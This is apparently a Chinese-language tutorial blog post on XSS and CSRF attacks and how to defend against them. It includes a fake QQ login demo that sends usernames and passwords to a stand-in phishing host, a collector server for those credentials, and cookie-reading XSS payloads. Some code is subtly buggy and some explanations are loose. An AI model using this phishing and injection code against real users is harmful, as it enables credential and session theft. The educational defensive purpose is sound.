场景在线:当你正在浏览一些正常网站时,右下角突然弹出来一个涩涩的大图广告弹窗,上面有着什么澳门皇家,91之类我根本不懂的这些东西,或者在评论区加载了一些奇奇怪怪的的元素,挂件,那么恭喜你,你可能遇到了web攻击。
web攻击概念
XSS攻击用大白话说就是:攻击者往Web页面里嵌入恶意Script代码,当用户浏览该网页时,执行了某些动作,嵌入Web里面的Script代码会被执行,从而达到攻击者的目的。
CSRF攻击用大白话说就是:这是web安全漏洞,它可以部分地绕过同源策略,允许攻击者诱导用户做非法事情。
听起来好像没啥难的,事实也确实如此,攻击起来容易,防护起来也容易。
大致攻击场景(XSS,CSRF)
XSS(跨站脚本攻击):一般在内容输入区注入恶意代码(没做校验),来获取用户的cookies、操作请求(发帖,发私信)、实现DDOS攻击。
CSRF(跨站请求伪造):用户在正常访问A网站时不小心点了B的广告,触发B网站的js代码,来向A网站发送请求(因为登陆过 A网站有cookie,请求能成功)。
经典XSS攻击方式分析与防范
这货按攻击类型来划分的话,大致有反射型、存储型、DOM型三种方式。
先说第一种,反射型:
这类攻击方式往往不是攻击者主动去攻击用户,主要借助URL来实施,诱导用户点击,把用户的数据发送给攻击者。 最常见的就是:空间相册,空间留言,假冒LOL官网进行抽奖等,需要登陆QQ账号密码的类型。(记得看域名辨真伪,尽量扫码登陆)
一个小demo:
<div>
账号:<input type="text" placeholder="请输入你的QQ号" />
密码:<input type="password" placeholder="QQ密码" />
<button id="btn">登陆</button>
</div>
<script>
const inputEle = document.querySelectorAll("input");
const username = inputEle[0].value;
const password = inputEle[1].value;
document.getElementById("btn").addEventListener("click", () => {
const xhr = new XMLHttpRequest();
xhr.open("post", "http://PianZiWangZhan.com:3000/login", true);
xhr.send(JSON.stringify({
username, password
}))
xhr.onreadystatechange = () => {
if (xhr.readyState === 4 && xhr.status == 200) {
console.log(xhr.responseText);
}
}
})
</script>
假设这钓鱼网站的链接为 http://PianZiWangZhan.com
,一般会有另一个服务用来存储被骗用户发过来的用户名和密码,简单如下:
const express = require("express");
const app = express();
app.post("/login", (req, res) => {
//检查username password
const {username,password}=req.body;
console.log(username,password)
return res.send("用户账密获取成功")
})
app.listen(3000, () => {
console.log("running on 3000");
})
就是这么简单的逻辑,一般界面做的很逼真,或者域名很像。一切准备就绪之后,就开始发广告,诱导用户上钩了,这种就是传统的反射型XSS,需要引导用户去点击链接。
再说第二种,存储型:
这种不通过URL地址来传播,而是利用网站的页面结构,比如评论区模块,用户可以通过接口提交评论内容,这些内容会被存储到服务器的数据库。下次进来或刷新时服务器从数据库提取内容渲染到页面,如果评论内容具备攻击性,那就是页面毒瘤炸弹了。(所以要做输入防护)
举个例子:
现在有一个网站的评论区如下: (还蛮好看的)
这些评论数据,是通过接口去从服务器去拿的,然后通过js渲染到页面上,就比如说现在从服务器拿到的数据如下方所示:
{
area: "广东省 广州市"
comment: "今天天气不错"
commentTime: "2021-07-09T01:48:00.000Z"
likeCount: 0
qqurl: "https://q.qlogo.cn/headimg_dl1dst_uin=1559298665&spec=100"
username: "DingShiYi"
}
并且我渲染的时候我是把comment这个属性对应的值通通过innerHTML的方式去渲染的
<div id="comment"></div>
//拿到评论的文本
const comment = data.comment;
document.getElementById("comment").innerHTML = comment;
这时候因为今天天气不错是一个无害的文本,所以没什么影响,但是如果哪天有个小(sha)可(bi)爱,在我的网站上评论了这么一段文本: "<script>alert("博主真帅,忍不住点赞了")</script>"
,没做防护,还用的是innerHTML
标签来渲染,那么就会出现
这种折磨谁受得了,太攻击(恶心人了)。
接着说第三种,DOM型:
通过修改页面的DOM节点形成的XSS。从效果上看,属于反射型XSS,但其通过修改DOM,直接在页面上操作,不经过后端,不经过数据库。
比如下方的代码的image_url是通过浏览器url上去拿的,然后通过img渲染,但是如果我在url后加上" οnerrοr=“我的js代码” " > 让img标签加上onerror属性,然后发给需要攻击的用户,用户点开后,因为src加载失败,所以执行onerorr,那么用户就被攻击了。
// 正常
<script>const image_url = "..images.ac.qq.com/....."</script>
<div>
<img src="{image_url}">
</div>
// 异常
<script>
const image_url = " οnerrοr="console.log(document.cookie)"
</script>
<div>
<img src="" onerror="console.log(document.cookie)"">
</div>
防范
用户:注意域名,通过这个辨别真伪,登陆的尽量扫码登陆,不确定的可以故意输错试一下。
开发人员:不要相信任何用户输入的数据,该限制的限制,该转义的转义,该编码的编码。避免使用innerHTML,document.write,outerHTML,用textContent,setAttribute方法代替;开启CSP防护,在http响应头中设置 COntent-Security-Policy:script-src 'self'
。
值得一说的是:Http头部通过设置 set-cookie 阻止xss通过返回的html中添加js脚本访问cookie,其有俩属性
- httponly:禁止js脚本访问cookie( httpOnly只能防御xss攻击后续对cookie的操作,并不能防御xss攻击)
- secure : 浏览器请求为 https 时才发送cookie
经典CSRF攻击方式分析与防范
CSRF攻击要想成功,必须具备三个必要条件:
- 相关的行为:攻击者有理由诱使应用程序中发生某种动作。 这可能是特权操作(例如,修改其他用户的权限)或对用户特定数据的任何操作(例如,更改用户自己的密码)。
- 基于Cookie的会话处理: 执行该操作会发出一个或多个HTTP请求,并且该应用程序仅依靠会话cookie来标识发出请求的用户,应用程序没有其他机制可以跟踪会话或验证用户请求。
- 没有不可预测的请求参数:执行该操作的请求不包含攻击者无法确定或猜测出其值的任何参数。 例如,当诱使用户更改密码时,如果攻击者需要知道现有密码的值,则攻击通常没法成功。
如何去构造一个csrf攻击?
为了满足上述方式,我们需要使用cookie去做用户的身份鉴定。所以这里起了一个服务,又一个登陆接口,接受用户的用户名和密码进行判断。用户名和密码都正确,那么我们就登陆成功,并且使用password+"secret"的方式生成一个字符串作为cookie,返回给前端。
const express = require("express");
const app = express();
app.post("/login", (req, res) => {
const { username, password } = req.boy
//检查username password
if (username === "helloShiYi" && password === "123456") {
const cookie = password + "secret";
//只要登陆成功,就把cookie发送到客户端,
res.setHeader("Set-Cookie", cookie)
return res.send({
message: "密码正确登陆成功!"
})
}
return res.send({ message: "密码错误!" })
})
app.listen(3000, () => {
console.log("running on 3000");
})
当我们登陆成功后,收到响应,发现有"Set-Cookie"这样的http请求头,那么就会把cookie存下来,并且以后发送请求都会携带上这个cookie,这个cookie就是我们用户身份的象征,通过解析cookie是否正确,就能判断是否是对应用户操作。
那么这这个时候你在浏览器中发现了一个链接http://ShaBiCaiDian.com,但是你偏不信,然后就点进去了,然后发现你一会儿就被挤下线了。
那这中间发生了什么呢?
当你点进去http://ShaBiCaiDian.com 的时候,那么这个网站去发了一条请求,是修改密码的请求,但是因为你是直接从当前页面跳转的,所以document.cookie依然能够获取到之前页面的cookie,并携带这个cookie发送一个请求。服务器收到这个请求,去解析cookie,发现是正确的,所以进行了密码的修改。
CSRF的防御方法
上面说了,要做成一个CSRF攻击,那三个必要条件是一定要满足的,那防御的话,破坏其中一个就好,具体的方法有:
- 设置cookie的请求头:设置SameSites属性,它三个值(Strict:跨站时,只有当前网页的URL和请求目标一致才携带cookie;Lax:像a,link,form标签有目标网站的GET请求;None,关闭该属性)
- 设置Token:服务器端生成token,让前端存储在localstorage或sessionstorage中,之后每次请求都带上,第三方没有token,依此判别。
- 使用同源限制,禁止第三方网站请求,服务端通过请求头中的Referer和Origin字段,判断请求源。
- 验证referer头部:Referer 请求头包含了当前请求页面的来源页面的地址,所以我们可以在服务端验证referer字段是否是指定的url。
- 使用httpOnly禁止document.cookie获取cookie。
以上。